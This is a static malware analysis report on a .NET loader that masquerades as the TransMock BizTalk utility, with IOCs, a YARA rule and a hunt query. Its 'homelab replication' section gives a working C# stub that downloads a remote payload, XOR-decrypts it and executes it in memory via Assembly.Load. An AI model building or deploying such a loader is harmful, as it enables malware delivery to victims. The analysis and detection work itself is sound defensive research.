typeanalysisfamilyunclassified-dotnet-transmock-masqueradeconfidencelowcreated2026-06-20updated2026-06-20dotnetmalware-familyloaderdefense-evasiondiscoverypersistencec2mitre-attck
SHA-256: f3bc22f69502ed934da8dea7940437e820e1c778016e330a28b1103b6ca247b1

unclassified-dotnet-transmock-masquerade: f3bc22f6 — .NET PE masquerading as TransMock utility with WinHTTP downloader and encrypted payload staging

Executive Summary

A .NET Framework PE32 (223 KB) compiled July 2024 masquerades as the legitimate open-source BizTalk testing utility TransMock (Copyright TransMock 2017, v1.3.0.0). Under that veneer it hosts attacker-authored classes — CrewPickupSM (WinHTTP downloader), EncryptionHelper (payload decryption), and ScopeFpgaI2c (likely XOR/staging) — that download, decrypt, and reflectively execute a second-stage payload. The filename PO-1512024-pdf.exe is a purchase-order lure. No siblings observed in this corpus; static-only analysis (CAPE skipped — no Windows guest). ^[file.txt] ^[pefile.txt] ^[capa.txt]

What It Is

Attribute Value Source
SHA-256 f3bc22f69502ed934da8dea7940437e820e1c778016e330a28b1103b6ca247b1 ^[metadata.json]
File name PO-1512024-pdf.exe ^[metadata.json]
Size 223 232 bytes ^[metadata.json]
Type PE32 executable (GUI) Intel 80386 Mono/.Net assembly ^[file.txt]
Timestamp 0x66961BB5 — Tue 16 Jul 2024 07:05:25 UTC ^[pefile.txt:34]
Runtime .NET Framework v4.0.30319 ^[strings.txt:47]
PDB path C:\Users\Admin2024\Desktop\Outputs\Udflopli.pdb ^[pefile.txt:203]
Internal name Udflopli.exe ^[strings.txt:1212]
Signed No ^[pefile.txt]
Sections .text (entropy 5.99), .reloc (entropy 0.10) ^[pefile.txt:92,112]

The binary is not packed and carries no obfuscation beyond namespace confusion. IL metadata, class names, and method bodies are fully intact. The only anti-analysis artefact is the heavy benign surface area (FrodLib collections/math/IoC utilities) that would slow manual review. ^[strings.txt:1600-1700]

Family Ascription

Confidence: low — single sample, no siblings.

The malware deliberately clones the identity of TransMock, a real .NET open-source project by sagardgr8 for BizTalk endpoint mocking ^[strings.txt:2088-2093]. It reuses the TransMock.Utility namespace but injects malicious classes (CrewPickupSM, ScopeFpgaI2c, EncryptionHelper) alongside benign scaffolding (FrodLib math, collections, IoC container). This is not a TransMock trojanised build — the PDB path and internal name (Udflopli) show the author compiled their own assembly and pasted the TransMock version info as camouflage.

How It Works

Entry-Point Flow (static reconstruction)

The entry point TransMock.Utility.Cockpit.Main performs the following sequence ^[r2:entry0]:

  1. Allocates an AetherFlowBuff and sets a stack count.
  2. Constructs a JobDelegate pointing to FdpService.BlockRappelAnchor().
  3. Calls EncryptionHelper.Decrypt() — likely on an embedded ciphertext or a download buffer.
  4. Invokes the delegate — first-stage payload execution via callback.
  5. Instantiates CrewService and calls CrewPickupSMS("uct") — the "uct" parameter may be a partial URI fragment or a command verb.
  6. Calls CrewService.ClimbParadise() — second orchestration step.
  7. Calls EncryptionHelper.Decrypt() again on the result.
  8. Calls Cockpit.SchAetherJob() with an empty string argument.
  9. Allocates a large byte array (0x0100000b — ~16 MB) and writes into it with an illegal opcode (ill 0xa2), suggesting either:
    • a corrupted/placeholder IL sequence that radare2 cannot decompile correctly, or
    • a reflective payload write followed by an invocation stub.

The control flow is orchestrated via .NET delegates and interface calls, not direct shellcode jumps, which is consistent with a managed-code loader pattern.

Network Communication

CrewPickupSM.GetHttpContentAsync() is an async Task<string> method wrapping the WinHTTP API ^[strings.txt:49-54] ^[capa.txt]. The full WinHTTP lifecycle is present:

  • WinHttpOpen (user-agent string pwszUserAgent)
  • WinHttpConnect
  • WinHttpOpenRequest
  • WinHttpSendRequest
  • WinHttpReceiveResponse
  • WinHttpReadData ^[strings.txt:1218-1244]

No hardcoded URL, domain, or IP appears in static strings. The URI is likely constructed at runtime or decrypted from the EncryptionHelper blob.

Encryption

EncryptionHelper.Decrypt() takes a byte[] encryptedBytes parameter ^[strings.txt:1245]. The class also contains a .cctor (static constructor) and a standard instance constructor, suggesting key material may be initialised statically. The algorithm is not identifiable from static strings — no AES, DES, RC4, or XOR constants recovered.

Persistence

capa flags T1053.005 (Scheduled Task/Job) with two matches in the persistence/scheduled-tasks namespace ^[capa.txt]. The binary also imports System.Threading.Tasks.TaskScheduler and TaskFactory ^[strings.txt:1944,1061]. The exact command line (schtasks /create ...) is not visible in strings, so capa likely inferred it from .NET Process.Start or TaskScheduler API references.

Payload Staging

  • AetherFlowBuff / DrawList / barWidth / SchAetherBarHeight — UI-rendering names that are almost certainly repurposed as memory buffers or staging structures for the downloaded payload. ^[strings.txt:76-83]
  • ScopeFpgaI2c implements IEnumerable<int> with a custom enumerator (<GetEnumerator>d__3) ^[strings.txt:2098]. The FPGA/I2C naming is nonsense camouflage; the real behaviour is likely a byte-array walk or XOR loop over an encrypted payload.

Decompiled Behavior

radare2 auto-analysis found 3 272 functions (level-2 analysis). The IL decompiler output is limited because radare2's CIL backend does not reconstruct high-level C# well, but the following function stubs are confirmed:

Address Symbol Role
0x004023f8 entry0 / Cockpit.Main Entry orchestrator
0x004025c0 CrewPickupSM.GetHttpContentAsync WinHTTP async downloader
0x004027cc EncryptionHelper.Decrypt Payload decryption stub
0x00402614 ScopeFpgaI2c.ScopeFpgaI2cs Enumerable staging / byte walk
0x00413300 CrewService.CrewPickupSMS Post-download callback
0x004132d4 CrewService.ClimbParadise Second-stage callback
0x0041333c FdpService.BlockRappelAnchor Delegate target invoked before decryption
0x00413368 FdpService.MaxFDP No-op / guard function

All three malicious services (CrewService, FdpService) contain trivial IL bodies (single push/ill sequences) in the radare2 decompile, which is consistent with interface stubs whose real logic lives in another module or is injected at runtime via AssemblyResolve or Marshal.GetDelegateForFunctionPointer. ^[r2:0x004132d4] ^[r2:0x00413300] ^[r2:0x0041333c]

C2 Infrastructure

Indicator Value Confidence
C2 channel WinHTTP over HTTPS (inferred from WinHttpOpenRequest + secure flag parameter) medium
Hardcoded URL None recovered statically —
Hardcoded IP None —
User-agent Runtime-constructed (pwszUserAgent parameter) low
Domain / URI fragment "uct" passed to CrewPickupSMS — possible partial command or path segment low

The C2 endpoint is runtime-resolved. Expect it to be built from decrypted strings or retrieved from a hardcoded byte array passed to EncryptionHelper.Decrypt().

Interesting Tidbits

  • Legitimate library masquerade. The version info, copyright, and product name all copy the real TransMock project. This is not accidental — it is deliberate social-engineering camouflage to make the file look like a harmless BizTalk testing tool if an analyst glances at Properties → Details. ^[strings.txt:2088-2093]
  • FrodLib dependency bloat. The binary embeds an entire general-purpose .NET utility library (collections, math, IoC, CQI command framework) — ~180 distinct class names. This is either a genuine NuGet dependency of the builder's scaffold, or deliberate noise to inflate the benign string surface. ^[strings.txt:1600-1760]
  • Semantic-jargon class names. CrewPickupSM, ScopeFpgaI2c, AetherFlowBuff, SchAetherJob, BlockRappelAnchor, ClimbParadise, MaxFDP — all syntactically valid camelCase/PascalCase names that mean nothing. This is the managed-code equivalent of semantic export obfuscation seen in native malware. ^[strings.txt:373,376,1603-1607,930-933]
  • Compiler fingerprint. The <>c__DisplayClass and d__6 async state machine naming confirms Roslyn C# compiler (likely Visual Studio 2019/2022). The Admin2024 username in the PDB suggests the build machine is named for the year of compilation. ^[pefile.txt:203] ^[strings.txt:1774-1775]
  • No CAPE detonation. No runtime IOCs available. All C2 and payload behaviour is inferred from static imports, capa, and IL metadata.

How To Mess With It (Homelab Replication)

Goal: Build a minimal .NET Framework 4.x executable that fetches a remote payload over WinHTTP, decrypts it in memory, and executes it via a delegate — producing the same capa fingerprint as this sample.

Toolchain: Visual Studio 2022, .NET Framework 4.8 Console App, AnyCPU (x86 preferred for PE32 match).

Working stub:

using System;
using System.IO;
using System.Net;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Threading.Tasks;

class Program
{
    static async Task Main()
    {
        byte[] key = new byte[] { 0x01, 0x02, 0x03, 0x04 }; // placeholder
        var buf = await FetchAsync("https://example.com/payload.bin");
        byte[] plain = Xor(buf, key);
        var asm = Assembly.Load(plain);
        var t = asm.GetType("Payload.Entry");
        var m = t.GetMethod("Run");
        var d = (Action)Delegate.CreateDelegate(typeof(Action), null, m);
        d();
    }

    static async Task<byte[]> FetchAsync(string url)
    {
        using (var wc = new WebClient())
            return await wc.DownloadDataTaskAsync(url);
    }

    static byte[] Xor(byte[] data, byte[] key)
    {
        for (int i = 0; i < data.Length; i++)
            data[i] ^= key[i % key.Length];
        return data;
    }
}

Compiler flags: /debug:pdbonly or no PDB to avoid leaking username. Target AnyCPU, not Prefer 32-bit, if you want PE32+; tick Prefer 32-bit for PE32.

Verification:

  1. Compile.
  2. Run capa repro.exe — expect hits on:
    • communication/http/client
    • load-code/dotnet
    • invoke .NET assembly method
    • host-interaction/process/create (if you spawn a child)
    • data-manipulation/prng (if you use Random for key)
  3. Compare to this sample's capa.txt — should share at least 4 capability namespaces.

Deployable Signatures

YARA rule

rule Unclassified_DotNet_TransMock_Masquerade
{
    meta:
        description = ".NET PE masquerading as TransMock with WinHTTP downloader classes"
        author = "Titus"
        date = "2026-06-20"
        sha256 = "f3bc22f69502ed934da8dea7940437e820e1c778016e330a28b1103b6ca247b1"
    strings:
        $transmock1 = "TransMock.Utility" ascii wide
        $transmock2 = "Copyright TransMock 2017" ascii wide
        $transmock3 = "Easily mock the communication endpoints of BizTalk integrations" ascii wide
        $crew = "CrewPickupSM" ascii wide
        $scope = "ScopeFpgaI2c" ascii wide
        $enc = "EncryptionHelper" ascii wide
        $winhttp1 = "WinHttpOpen" ascii wide
        $winhttp2 = "WinHttpSendRequest" ascii wide
        $pdb = "Udflopli.pdb" ascii wide
        $frodlib = "FrodLib.IoC" ascii wide
    condition:
        uint16(0) == 0x5A4D and
        ($transmock1 or $transmock2) and
        ($crew or $scope or $enc) and
        ($winhttp1 or $winhttp2) and
        filesize < 300KB
}

Behavioral hunt query (Sigma-compatible KQL / pseudo-Sigma)

title: TransMock-masquerade .NET loader process tree
detection:
  selection_parent:
    - Image|endswith: '\PO-*.pdf.exe'
    - OriginalFileName: 'Udflopli.exe'
  selection_child:
    - CommandLine|contains: 'schtasks'
    - CommandLine|contains: 'WinHttp'
  selection_network:
    Initiated: true
    Protocol: tcp
    DestinationPort: 443
  condition: selection_parent and (selection_child or selection_network)

IOC list

Type Value Note
SHA-256 f3bc22f69502ed934da8dea7940437e820e1c778016e330a28b1103b6ca247b1 Sample
File name PO-1512024-pdf.exe Lure
Internal name Udflopli.exe PDB / PE resource
PDB path C:\Users\Admin2024\Desktop\Outputs\Udflopli.pdb Build fingerprint
Class name CrewPickupSM Downloader class
Class name ScopeFpgaI2c Staging / XOR class
Class name EncryptionHelper Decryptor class
Namespace TransMock.Utility Masquerade identity

Behavioral fingerprint statement

This binary is a .NET Framework PE32 with no packing. On launch it allocates a large managed byte array, initialises a WinHTTP session via P/Invoke, downloads a remote payload over HTTPS, decrypts the payload via a helper class with a static constructor, and executes it through a .NET delegate chain (JobDelegate.Invoke). The binary also contains capa-evidence of scheduled-task creation. All malicious logic is hidden inside syntactically valid but semantically nonsense class names (CrewPickupSM, ScopeFpgaI2c, ClimbParadise) alongside a large benign utility library (FrodLib) to inflate the string surface area.

Detection Signatures

capa Capability ATT&CK Technique MBC Behavior
initialize WinHTTP library — C0002.008
prepare HTTP request — C0002.012
receive HTTP response — C0002.017
schedule task via schtasks T1053.005 —
invoke .NET assembly method T1620 —
load .NET assembly T1620 —
file and directory discovery T1083 E1083
system information discovery T1082 E1082
generate random numbers in .NET — C0021.003
copy file — C0045
create process in .NET — C0017
terminate process — C0018
allocate unmanaged memory in .NET — —

References

  • Artifact ID: e0390ac5-7240-4f05-99ee-810d840ae795 (OpenCTI / MalwareBazaar)
  • Real TransMock project (benign reference): https://github.com/sagardgr8/TransMock (author sagardgr8)
  • Related wiki pages:

Provenance

  • file.txt — file v5.45
  • pefile.txt — pefile 2023.2.7
  • strings.txt — strings from GNU binutils 2.42
  • capa.txt — flare-capa v7.0.0 (static analysis)
  • rabin2-info.txt / radare2 decompile — radare2 5.9.0
  • exiftool.json — ExifTool 12.76
  • No dynamic analysis available (CAPE skipped — no Windows guest)